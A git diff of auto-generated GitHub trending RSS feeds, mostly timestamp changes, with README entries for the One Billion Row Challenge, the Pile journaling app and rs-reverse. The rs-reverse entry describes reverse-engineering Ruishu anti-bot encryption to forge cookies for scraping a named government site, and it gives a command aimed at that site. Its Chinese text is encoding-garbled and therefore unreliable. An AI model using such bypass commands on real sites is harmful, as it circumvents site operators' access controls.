GitHub HTML+ECR Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:03Z
+ 2024-01-04T01:31:27ZDaily Trending of HTML+ECR in GitHub
\ No newline at end of file
diff --git a/html+eex/daily/index.xml b/html+eex/daily/index.xml
index cf9f39aa6bb..082a52e1763 100644
--- a/html+eex/daily/index.xml
+++ b/html+eex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+EEX Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:05Z
+ 2024-01-04T01:31:29ZDaily Trending of HTML+EEX in GitHub
\ No newline at end of file
diff --git a/html+erb/daily/index.xml b/html+erb/daily/index.xml
index 6f2c33b8324..110cd19bdda 100644
--- a/html+erb/daily/index.xml
+++ b/html+erb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+ERB Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:04Z
+ 2024-01-04T01:31:28ZDaily Trending of HTML+ERB in GitHub
\ No newline at end of file
diff --git a/html+php/daily/index.xml b/html+php/daily/index.xml
index 76a39c3a9c3..5e5f419fc50 100644
--- a/html+php/daily/index.xml
+++ b/html+php/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+PHP Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:05Z
+ 2024-01-04T01:31:30ZDaily Trending of HTML+PHP in GitHub
\ No newline at end of file
diff --git a/html+razor/daily/index.xml b/html+razor/daily/index.xml
index 4cd87e2b67e..9730fc03e9c 100644
--- a/html+razor/daily/index.xml
+++ b/html+razor/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+Razor Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:06Z
+ 2024-01-04T01:31:32ZDaily Trending of HTML+Razor in GitHub
\ No newline at end of file
diff --git a/html/daily/index.xml b/html/daily/index.xml
index ace95850be6..822a5a8b2e1 100644
--- a/html/daily/index.xml
+++ b/html/daily/index.xml
@@ -1,14 +1,14 @@
GitHub HTML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:57Z
+ 2024-01-04T01:31:18ZDaily Trending of HTML in GitHub
- ShoroukAziz/notion_widgets
- 2024-01-03T01:30:57Z
- tag:github.com,2024-01-03:/ShoroukAziz/notion_widgets
-
- <p>A set of HTML widgets that could be embedded into Notion.so https://www.notion.so/ pages. For more see https://blog.shorouk.dev/notion-widgets-gallery/</p><hr><h1>notion_widgets</h1>
<p>A set of HTML widgets that could be embedded into <a href="https://www.notion.so/">Notion.so</a> pages. <a href="https://blog.shorouk.dev/notion-widgets-gallery/">learn more</a></p>
+ devikumavath/27-frontend-project
+ 2024-01-04T01:31:18Z
+ tag:github.com,2024-01-04:/devikumavath/27-frontend-project
+
+ <p></p><hr>
\ No newline at end of file
diff --git a/http/daily/index.xml b/http/daily/index.xml
index 3d94e1db6e5..17e49941254 100644
--- a/http/daily/index.xml
+++ b/http/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTTP Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:09Z
+ 2024-01-04T01:31:32ZDaily Trending of HTTP in GitHub
\ No newline at end of file
diff --git a/hxml/daily/index.xml b/hxml/daily/index.xml
index 3f8ee5e902c..f636a8433d4 100644
--- a/hxml/daily/index.xml
+++ b/hxml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HXML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:07Z
+ 2024-01-04T01:31:31ZDaily Trending of HXML in GitHub
\ No newline at end of file
diff --git a/hy/daily/index.xml b/hy/daily/index.xml
index fd458772bf6..d0d13ee044d 100644
--- a/hy/daily/index.xml
+++ b/hy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Hy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:08Z
+ 2024-01-04T01:31:33ZDaily Trending of Hy in GitHub
\ No newline at end of file
diff --git a/hyphy/daily/index.xml b/hyphy/daily/index.xml
index 21a21eff96f..016fe0bb3f7 100644
--- a/hyphy/daily/index.xml
+++ b/hyphy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HyPhy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:10Z
+ 2024-01-04T01:31:34ZDaily Trending of HyPhy in GitHub
\ No newline at end of file
diff --git a/idl/daily/index.xml b/idl/daily/index.xml
index f759fac2d2c..c3968c8b832 100644
--- a/idl/daily/index.xml
+++ b/idl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub IDL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:10Z
+ 2024-01-04T01:31:36ZDaily Trending of IDL in GitHub
\ No newline at end of file
diff --git a/idris/daily/index.xml b/idris/daily/index.xml
index af169b519f4..7578f836389 100644
--- a/idris/daily/index.xml
+++ b/idris/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Idris Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:12Z
+ 2024-01-04T01:31:36ZDaily Trending of Idris in GitHub
\ No newline at end of file
diff --git a/ignore-list/daily/index.xml b/ignore-list/daily/index.xml
index c49b1e71815..858ad9b793b 100644
--- a/ignore-list/daily/index.xml
+++ b/ignore-list/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ignore List Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:11Z
+ 2024-01-04T01:31:35ZDaily Trending of Ignore List in GitHub
\ No newline at end of file
diff --git a/igor-pro/daily/index.xml b/igor-pro/daily/index.xml
index 3a020e62e7c..6a4304fd03d 100644
--- a/igor-pro/daily/index.xml
+++ b/igor-pro/daily/index.xml
@@ -1,7 +1,7 @@
GitHub IGOR Pro Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:13Z
+ 2024-01-04T01:31:39ZDaily Trending of IGOR Pro in GitHub
\ No newline at end of file
diff --git a/imagej-macro/daily/index.xml b/imagej-macro/daily/index.xml
index b6d8dcee96f..b6352ead0e8 100644
--- a/imagej-macro/daily/index.xml
+++ b/imagej-macro/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ImageJ Macro Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:14Z
+ 2024-01-04T01:31:38ZDaily Trending of ImageJ Macro in GitHub
\ No newline at end of file
diff --git a/inform-7/daily/index.xml b/inform-7/daily/index.xml
index a19bb6f6764..d09df2070f3 100644
--- a/inform-7/daily/index.xml
+++ b/inform-7/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Inform 7 Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:14Z
+ 2024-01-04T01:31:38ZDaily Trending of Inform 7 in GitHub
\ No newline at end of file
diff --git a/ini/daily/index.xml b/ini/daily/index.xml
index b292a4b4e36..0ef1b2f7c51 100644
--- a/ini/daily/index.xml
+++ b/ini/daily/index.xml
@@ -1,7 +1,7 @@
GitHub INI Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:17Z
+ 2024-01-04T01:31:41ZDaily Trending of INI in GitHub
\ No newline at end of file
diff --git a/inno-setup/daily/index.xml b/inno-setup/daily/index.xml
index 2e5fceb98cd..19d04dadb5a 100644
--- a/inno-setup/daily/index.xml
+++ b/inno-setup/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Inno Setup Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:18Z
+ 2024-01-04T01:31:44ZDaily Trending of Inno Setup in GitHub
\ No newline at end of file
diff --git a/io/daily/index.xml b/io/daily/index.xml
index 0bbeb910757..50f7f70405c 100644
--- a/io/daily/index.xml
+++ b/io/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Io Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:19Z
+ 2024-01-04T01:31:43ZDaily Trending of Io in GitHub
\ No newline at end of file
diff --git a/ioke/daily/index.xml b/ioke/daily/index.xml
index 1c589ddebf0..191089a79db 100644
--- a/ioke/daily/index.xml
+++ b/ioke/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ioke Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:21Z
+ 2024-01-04T01:31:47ZDaily Trending of Ioke in GitHub
\ No newline at end of file
diff --git a/irc-log/daily/index.xml b/irc-log/daily/index.xml
index e611dd8b3fd..31d0550ad86 100644
--- a/irc-log/daily/index.xml
+++ b/irc-log/daily/index.xml
@@ -1,7 +1,7 @@
GitHub IRC log Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:22Z
+ 2024-01-04T01:31:46ZDaily Trending of IRC log in GitHub
\ No newline at end of file
diff --git a/isabelle-root/daily/index.xml b/isabelle-root/daily/index.xml
index c91db79ddd8..e2f93b0023a 100644
--- a/isabelle-root/daily/index.xml
+++ b/isabelle-root/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Isabelle ROOT Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:22Z
+ 2024-01-04T01:31:45ZDaily Trending of Isabelle ROOT in GitHub
\ No newline at end of file
diff --git a/isabelle/daily/index.xml b/isabelle/daily/index.xml
index 029fe2ea2c0..9ea124e1a90 100644
--- a/isabelle/daily/index.xml
+++ b/isabelle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Isabelle Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:20Z
+ 2024-01-04T01:31:45ZDaily Trending of Isabelle in GitHub
\ No newline at end of file
diff --git a/j/daily/index.xml b/j/daily/index.xml
index 30126f49db1..4ad4a1c1f72 100644
--- a/j/daily/index.xml
+++ b/j/daily/index.xml
@@ -1,7 +1,7 @@
GitHub J Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:24Z
+ 2024-01-04T01:31:49ZDaily Trending of J in GitHub
\ No newline at end of file
diff --git a/janet/daily/index.xml b/janet/daily/index.xml
index 2b5f4692165..ca06e17c1ac 100644
--- a/janet/daily/index.xml
+++ b/janet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Janet Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:25Z
+ 2024-01-04T01:31:48ZDaily Trending of Janet in GitHub
\ No newline at end of file
diff --git a/jar-manifest/daily/index.xml b/jar-manifest/daily/index.xml
index 9b267b88e19..141c26867ba 100644
--- a/jar-manifest/daily/index.xml
+++ b/jar-manifest/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JAR Manifest Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:26Z
+ 2024-01-04T01:31:50ZDaily Trending of JAR Manifest in GitHub
\ No newline at end of file
diff --git a/jasmin/daily/index.xml b/jasmin/daily/index.xml
index 038b929a235..fef0470b57b 100644
--- a/jasmin/daily/index.xml
+++ b/jasmin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jasmin Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:24Z
+ 2024-01-04T01:31:51ZDaily Trending of Jasmin in GitHub
\ No newline at end of file
diff --git a/java-properties/daily/index.xml b/java-properties/daily/index.xml
index 67ba366c88b..67e5681bd82 100644
--- a/java-properties/daily/index.xml
+++ b/java-properties/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Java Properties Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:28Z
+ 2024-01-04T01:31:53ZDaily Trending of Java Properties in GitHub
\ No newline at end of file
diff --git a/java-server-pages/daily/index.xml b/java-server-pages/daily/index.xml
index 66f9186efe0..1a46bb57e7d 100644
--- a/java-server-pages/daily/index.xml
+++ b/java-server-pages/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Java Server Pages Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:27Z
+ 2024-01-04T01:31:52ZDaily Trending of Java Server Pages in GitHub
\ No newline at end of file
diff --git a/java/daily/index.xml b/java/daily/index.xml
index 543e8962c05..9b90f26280c 100644
--- a/java/daily/index.xml
+++ b/java/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Java Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:32Z
+ 2024-01-04T01:31:57ZDaily Trending of Java in GitHub
-
- gunnarmorling/1brc
- 2024-01-03T01:31:32Z
- tag:github.com,2024-01-03:/gunnarmorling/1brc
-
- <p>1๏ธโฃ๐๐๏ธ The One Billion Row Challenge -- A fun exploration of how quickly 1B rows from a text file can be aggregated with Java</p><hr><h1>1๏ธโฃ๐๐๏ธ The One Billion Row Challenge</h1>
<p><em>Status Jan 1: This challenge is open for submissions!</em></p>
<p>The One Billion Row Challenge (1BRC) is a fun exploration of how far modern Java can be pushed for aggregating one billion rows from a text file. Grab all your (virtual) threads, reach out to SIMD, optimize your GC, or pull any other trick, and create the fastest implementation for solving this task!</p>
<img src="https://raw.githubusercontent.com/gunnarmorling/1brc/main/1brc.png" alt="1BRC" style="display: block; margin-left: auto; margin-right: auto; margin-bottom:1em; width: 50%;">
<p>The text file contains temperature values for a range of weather stations. Each row is one measurement in the format <code><string: station name>;<double: measurement></code>. The following shows ten rows as an example:</p>
<pre><code>Hamburg;12.0
Bulawayo;8.9
Palembang;38.8
St. John's;15.2
Cracow;12.6
Bridgetown;26.9
Istanbul;6.2
Roseau;34.4
Conakry;31.2
Istanbul;23.0
</code></pre>
<p>The task is to write a Java program which reads the file, calculates the min, mean, and max temperature value per weather station, and emits the results on stdout like this (i.e. sorted alphabetically by station name, and the result values per station in the format <code><min>/<mean>/<max></code>, rounded to one fractional digit):</p>
<pre><code>{Abha=-23.0/18.0/59.2, Abidjan=-16.2/26.0/67.3, Abรฉchรฉ=-10.0/29.4/69.0, Accra=-10.1/26.4/66.4, Addis Ababa=-23.7/16.0/67.0, Adelaide=-27.8/17.3/58.5, ...}
</code></pre>
<p>Submit your implementation by Jan 31 2024 and become part of the leaderboard!</p>
<h2>Results</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>Result (m:s:ms)</th>
<th>Implementation</th>
<th>Submitter</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>00:23.366</td>
<td><a href="https://github.com/gunnarmorling/1brc/pull/5/">link</a></td>
<td><a href="https://github.com/royvanrijn">Roy van Rijn</a></td>
</tr>
<tr>
<td>2.</td>
<td>00:38.510</td>
<td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_bjhara.java">link</a></td>
<td><a href="https://github.com/bjhara">Hampus Ram</a></td>
</tr>
<tr>
<td>3.</td>
<td>00:50.547</td>
<td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_padreati.java">link</a></td>
<td><a href="https://github.com/padreati">Aurelian Tutuianu</a></td>
</tr>
<tr>
<td>4.</td>
<td>02:08.315</td>
<td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_itaske.java">link</a></td>
<td><a href="https://github.com/itaske">itaske</a></td>
</tr>
<tr>
<td>5.</td>
<td>02:08.650</td>
<td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_kuduwa_keshavram.java">link</a></td>
<td><a href="https://github.com/kuduwa_keshavram">Kuduwa Keshavram</a></td>
</tr>
<tr>
<td>6.</td>
<td>04:13.449</td>
<td><a href="https://github.com/gunnarmorling/onebrc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage.java">link</a> (baseline)</td>
<td><a href="https://github.com/gunnarmorling">Gunnar Morling</a></td>
</tr>
</tbody>
</table>
<p>See <a href="https://raw.githubusercontent.com/gunnarmorling/1brc/main/#entering-the-challenge">below</a> for instructions how to enter the challenge with your own implementation.</p>
<h2>Prerequisites</h2>
<p><a href="https://openjdk.org/projects/jdk/21/">Java 21</a> must be installed on your system.</p>
<h2>Running the Challenge</h2>
<p>This repository contains two programs:</p>
<ul>
<li><code>dev.morling.onebrc.CreateMeasurements</code> (invoked via <em>create_measurements.sh</em>): Creates the file <em>measurements.txt</em> in the root directory of this project with a configurable number of random measurement values</li>
<li><code>dev.morling.onebrc.CalculateAverage</code> (invoked via <em>calculate_average.sh</em>): Calculates the average values for the file <em>measurements.txt</em></li>
</ul>
<p>Execute the following steps to run the challenge:</p>
<ol>
<li> <p>Build the project using Apache Maven:</p> <pre><code>./mvnw clean verify
</code></pre> </li>
<li> <p>Create the measurements file with 1B rows (just once):</p> <pre><code>./create_measurements.sh 1000000000
</code></pre> <p>This will take a few minutes. <strong>Attention:</strong> the generated file has a size of approx. <strong>12 GB</strong>, so make sure to have enough diskspace.</p> </li>
<li> <p>Calculate the average measurement values:</p> <pre><code>./calculate_average.sh
</code></pre> <p>The provided naive example implementation uses the Java streams API for processing the file and completes the task in ~2 min on environment used for <a href="https://raw.githubusercontent.com/gunnarmorling/1brc/main/#evaluating-results">result evaluation</a>. It serves as the base line for comparing your own implementation.</p> </li>
<li> <p>Optimize the heck out of it:</p> <p>Adjust the <code>CalculateAverage</code> program to speed it up, in any way you see fit (just sticking to a few rules described below). Options include parallelizing the computation, using the (incubating) Vector API, memory-mapping different sections of the file concurrently, using AppCDS, GraalVM, CRaC, etc. for speeding up the application start-up, choosing and tuning the garbage collector, and much more.</p> </li>
</ol>
<p>The following rules and limits apply:</p>
<ul>
<li>Any of these Java distributions may be used:
<ul>
<li>Any builds provided by <a href="https://sdkman.io/jdks">SDKMan</a></li>
<li>Early access builds available on openjdk.net may be used (including EA builds for OpenJDK projects like Valhalla)</li>
<li>Builds on <a href="https://builds.shipilev.net/openjdk-jdk-lilliput/">builds.shipilev.net</a> If you want to use a build not available via these channels, reach out to discuss whether it can be considered.</li>
</ul> </li>
<li>No external library dependencies may be used</li>
<li>Implementations must be provided as a single source file</li>
<li>The computation must happen at application <em>runtime</em>, i.e. you cannot process the measurements file at <em>build time</em> (for instance, when using GraalVM) and just bake the result into the binary</li>
</ul>
<h2>Entering the Challenge</h2>
<p>To submit your own implementation to 1BRC, follow these steps:</p>
<ul>
<li>Create a fork of the <a href="https://github.com/gunnarmorling/onebrc/">onebrc</a> GitHub repository.</li>
<li>Create a copy of <em>CalculateAverage.java</em>, named <em>CalculateAverage_<your_GH_user>.java</em>, e.g. <em>CalculateAverage_doloreswilson.java</em>.</li>
<li>Make that implementation fast. Really fast.</li>
<li>Create a copy of <em>calculate_average.sh</em>, named <em>calculate_average_<your_GH_user>.sh</em>, e.g. <em>calculate_average_doloreswilson.sh</em>.</li>
<li>Adjust that script so that it references your implementation class name. If needed, provide any JVM arguments via the <code>JAVA_OPTS</code> variable in that script.</li>
<li>(Optional) If you'd like to use native binaries (GraalVM), adjust the <em>pom.xml</em> file so that it builds that binary.</li>
<li>Create a pull request against the upstream repository, clearly stating
<ul>
<li>The name of your implementation class.</li>
<li>The JDK build to use (if not specified, the latest OpenJDK 21 upstream build will be used).</li>
<li>The execution time of the program on your system and specs of the same (CPU, number of cores, RAM). This is for informative purposes only, the official runtime will be determined as described below.</li>
</ul> </li>
<li>I will run the program and determine its performance as described in the next section, and enter the result to the scoreboard.</li>
</ul>
<p><strong>Note:</strong> I reserve the right to not evaluate specific submissions if I feel doubtful about the implementation (I.e. I won't run your BitCoin miner ;).</p>
<p>If you'd like to discuss any potential ideas for implementing 1BRC with the community, you can use the <a href="https://github.com/gunnarmorling/onebrc/discussions">GitHub Discussions</a> of this repository. Please keep it friendly and civil.</p>
<p>The challenge runs until Jan 31 2024. Any submissions (i.e. pull requests) created after Jan 31 2024 23:59 UTC will not be considered.</p>
<h2>Evaluating Results</h2>
<p>Results are determined by running the program on a <a href="https://www.hetzner.com/cloud">Hetzner Cloud CCX33 instance</a> (8 dedicated vCPU, 32 GB RAM). The <code>time</code> program is used for measuring execution times, i.e. end-to-end times are measured. Each contender will be run five times in a row. The slowest and the fastest runs are discarded. The mean value of the remaining three runs is the result for that contender and will be added to the results table above.</p>
<p>If you'd like to spin up your own box for testing on Hetzner Cloud, you may find these <a href="https://github.com/gunnarmorling/cloud-boxes/">set-up scripts</a> (based on Terraform and Ansible) useful. Note this will incur cost you are responsible for, I am not going to pay your cloud bill :)</p>
<h2>Prize</h2>
<p>If you enter this challenge, you may learn something new, get to inspire others, and take pride in seeing your name listed in the scoreboard above. Rumor has it that the winner may receive a unique 1๏ธโฃ๐๐๏ธ t-shirt, too!</p>
<h2>FAQ</h2>
<p><em>Q: Can I use Kotlin or other JVM languages other than Java?</em><br> A: No, this challenge is focussed on Java only. Feel free to inofficially share implementations significantly outperforming any listed results, though.</p>
<p><em>Q: Can I use non-JVM languages and/or tools?</em><br> A: No, this challenge is focussed on Java only. Feel free to inofficially share interesting implementations and results though. For instance it would be interesting to see how DuckDB fares with this task.</p>
<p><em>Q: Can I use JNI?</em><br> A: Submissions must be implemented in Java; JNI requires glue code written in C/C++, so it cannot be used. You could use AOT compilation of Java code via GraalVM though, either by AOT-compiling the entire application, or by creating a native library which you then invoke using the new Java FFI (<a href="https://openjdk.org/jeps/442%5BJEP">https://openjdk.org/jeps/442[JEP</a> 442]).</p>
<p><em>Q: What is the encoding of the measurements.txt file?</em><br> A: The file is encoded with UTF-8.</p>
<p><em>Q: Can I make assumptions on the names of the weather stations showing up in the data set?</em><br> A: No, while only a fixed set of station names is used by the data set generator, any solution should work with arbitrary UTF-8 station names (for the sake of simplicity, names are guaranteed to contain no <code>;</code> character).</p>
<p><em>Q: Can I copy code from other submissions?</em> A: Yes, you can. The primary focus of the challenge is about learning something new, rather than "winning". When you do so, please give credit to the relevant source submissions. Please don't re-submit other entries with no or only trivial improvements.</p>
<p><em>Q: Why</em> 1๏ธโฃ๐๐๏ธ <em>?</em><br> A: It's the abbreviation of the project name: <strong>One</strong> <strong>B</strong>illion <strong>R</strong>ow <strong>C</strong>hallenge.</p>
<h2>License</h2>
<p>This code base is available under the Apache License, version 2.</p>
<h2>Code of Conduct</h2>
<p>Be excellent to each other! More than winning, the purpose of this challenge is to have fun and learn something new.</p>
-
\ No newline at end of file
diff --git a/javascript+erb/daily/index.xml b/javascript+erb/daily/index.xml
index 93f7ee2b18f..c34b891ffc1 100644
--- a/javascript+erb/daily/index.xml
+++ b/javascript+erb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JavaScript+ERB Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:59Z
+ 2024-01-04T01:32:40ZDaily Trending of JavaScript+ERB in GitHub
\ No newline at end of file
diff --git a/javascript/daily/index.xml b/javascript/daily/index.xml
index 8627315fd64..8ee8c423c84 100644
--- a/javascript/daily/index.xml
+++ b/javascript/daily/index.xml
@@ -1,14 +1,14 @@
GitHub JavaScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:31:38Z
+ 2024-01-04T01:32:07ZDaily Trending of JavaScript in GitHub
- UdaraJay/Pile
- 2024-01-03T01:31:38Z
- tag:github.com,2024-01-03:/UdaraJay/Pile
-
- <p>Desktop app for digital journaling.</p><hr><h1>Pile</h1>
<p>Pile is a desktop app for reflective journaling. It's about simplicity, keeping your data local, and enhancing your journaling experience with AI.</p>
<p><img src="https://raw.githubusercontent.com/UdaraJay/Pile/main/assets/cover.png" alt="Pile app screenshot"></p>
<h2>Getting started</h2>
<ol>
<li>Download the latest version of Pile by going to the <a href="https://github.com/UdaraJay/Pile/releases/">Pile releases page</a>.</li>
<li>Open the <code>.zip</code> or <code>.dmg</code> file and drag the application to the destination of your choice (<em>optional</em>), such as your <code>Applications/</code> folder.</li>
<li>Finally open the application, create a <code>New Pile</code>, and start your reflective journey.</li>
</ol>
<h3>AI reflections (requires GPT-4 access)</h3>
<p>Enhance your journaling experience by integrating OpenAI's GPT AI reflections into Pile. If you have access to OpenAI's GPT-4 API, you can use your API key to:</p>
<ul>
<li><strong>Reflect on entries</strong>: Click "reflect" on any written entry to get AI-generated insights and thoughts as a reply in the thread.</li>
<li><strong>Search or ask questions</strong>: Click the "reflect" icon on the top-right of the window to search or ask question about your entire journal.</li>
</ul>
<p>To setup the AI features: head over to <a href="https://platform.openai.com/api-keys">platform.openai.com/api-keys</a> and create a new API key. Click the settings icon on the top-right corner of Pile and enter your secret API key into the API key field.</p>
<p>Before you use the AI-powered features within this app, we strongly recommend that you <a href="https://platform.openai.com/account/limits">configure a spending limit within OpenAI's interface</a> to prevent unexpected costs.</p>
<h2>Contributing</h2>
<p>If you'd like to contribute to Pile, feel free to fork the repository, make your changes, and submit a pull request. Contributions are welcomed and appreciated, however this is an experimental project, so any changes and new features are merged into this distribution of Pile at my discretion.</p>
<p>For a detailed guide on contributing, read the <a href="https://raw.githubusercontent.com/UdaraJay/Pile/main/CONTRIBUTING.md">CONTRIBUTING.md</a> file.</p>
<h2>License</h2>
<p>This project is licensed under the MIT License - see the <a href="https://raw.githubusercontent.com/UdaraJay/Pile/main/LICENSE.md">LICENSE.md</a> file for details.</p>
<h2>Special thanks</h2>
<p>Many thanks and appreciation to all these people and projects for their contributions to Pile.</p>
<ul>
<li><a href="https://twitter.com/zachbogart">Zach Bogart</a>: for the icon design.</li>
<li><a href="https://github.com/electron-react-boilerplate/electron-react-boilerplate">Electron react boilerplate</a>: for making it easier to launch desktop apps.</li>
</ul>
+ pysunday/rs-reverse
+ 2024-01-04T01:32:07Z
+ tag:github.com,2024-01-04:/pysunday/rs-reverse
+
+ <p>็ๆฐ,rs,rsvmp,็ๆฐ้ๅ,้ๅ,็ๆฐๅ็ฌ่ซ,website reverse engineering</p><hr><p>่ฟไธช้กน็ฎๆฏ็ๆฐๅ ๅฏ็้ๅ็ ็ฉถ๏ผไปฃ็ ๅผๅๅบไบ็ฝ็ซ้พๆฅ๏ผ<code>https://wcjs.sbj.cnipa.gov.cn/sgtmi</code></p>
<p>็ ็ฉถๅ ๆฌๅจๆไปฃ็ ็ๆๅ็ๅๅจๆcookie็ๆๅ็ใ</p>
<p><strong>็น่ตๆฏๆๅๆ็ๅจๅ๏ผๅธๆ่ฏฅ็ ็ฉถไน่ฝ็ปไธๆ ทๅฅฝๅฅ็ๆฐๅ็็ไบบ็ญ็่งฃๆใ</strong></p>
<h2>0. ๅฃฐๆ</h2>
<p>่ฏฅ้กน็ฎไธไปฃ็ ไป ็จไบไธชไบบๅญฆไน ใ็ ็ฉถๆๆฌฃ่ตใ้่ฟไฝฟ็จ่ฏฅไปๅบ็ธๅ ณไปฃ็ ไบง็็้ฃ้ฉไธไปๅบไปฃ็ ไฝ่ ๆ ๅ ณใ</p>
<p>่ฏฅ็ๆฐcookie็ๆ่ฟ็จไธญ็็ฎๆณ้ๅไปๅญๅจไปฅไธ้ฎ้ข๏ผ</p>
<ol>
<li>้ขๅ ่ฎพ็ฝฎๅฅฝ็้ ็ฝฎ้กน๏ผๅ่ง๏ผ<a href="https://github.com/pysunday/rs-reverse/raw/main/src/handler/Cookie.js#L32">ไปฃ็ ไธญconfig็ๅผ</a>;</li>
<li>ไปฃ็ ไธญ<code>getSubThree</code>ๆนๆณไธญ็<a href="https://github.com/pysunday/rs-reverse/raw/main/src/handler/Cookie.js#L115">ๆฐๅญ46228</a>ไธบไฝ่ ไปฃ็ ๆ ผๅผๅไธไปฃ็ ไฟฎๆนๅ่ฟ่กไปฃ็ ่ฎก็ฎ็ๅผ;</li>
<li>ไปฃ็ ไธญ<code>getSubOne</code>ๆนๆณไธญ็<a href="https://github.com/pysunday/rs-reverse/raw/main/src/handler/Cookie.js#L89"><code>_random(500, 1000)</code></a>ไธบไฝ่ ็ต่่ฟ่ก่ฎก็ฎ็ๅคงๆฆๅผ๏ผๆญคๅผไธๆต่งๅจ่ฟ่ก็ฏๅขๆๅ ณ(ๅฆ็ต่้ ็ฝฎ็ญ);</li>
</ol>
<h2>1. ๅๅฎขๆ็ซ </h2>
<ol>
<li><a href="https://howduudu.tech/#/blog/article/1699807978000">็ๆฐvmp-ไปฃ็ ๆ ผๅผๅๅๆ ๆณๆญฃๅธธ่ฟ่กๅๅ ๅๆ</a></li>
<li><a href="https://howduudu.tech/#/blog/article/1701276778000">็ๆฐvmp-ๅจๆไปฃ็ ็ๆๅ็</a></li>
<li><a href="https://howduudu.tech/#/blog/article/1702313578000">่กฅ็ฏๅข-document.all็c++ๆนๆก</a></li>
</ol>
<h2>2. ็ๆฐ็ฎๆณ่ฟๅ</h2>
<p><strong><code>npx rs-reverse *</code>ไธๅจๅฝๅ็ฎๅฝไธ่ฟ่ก<code>node main.js *</code>็ธๅฏนๅบ</strong></p>
<h3>2.1. makecodeๅญๅฝไปค</h3>
<blockquote>
<p>ไฝ้ชๅฝไปค๏ผ<code>npx rs-reverse makecode</code></p>
</blockquote>
<p>ๆง่กๅญๅฝไปค<code>makecode</code>็ๆๅจๆไปฃ็ , ๅฏไปฅไผ ๅ ฅๅ ๅซ<code>$_ts.nsd</code>ๅ<code>$_ts.cd</code>็ๆๆฌๆไปถๆ่ ็ดๆฅ็ปurl่ฎฉ็จๅบ่ชๅทฑๅปๆฟใ</p>
<p>ๅฆ่ฟ่ก๏ผ<code>npx rs-reverse makecode -u http://wcjs.sbj.cnipa.gov.cn/sgtmi</code>๏ผๅ็ๆไธไธชๆไปถ๏ผ</p>
<ol>
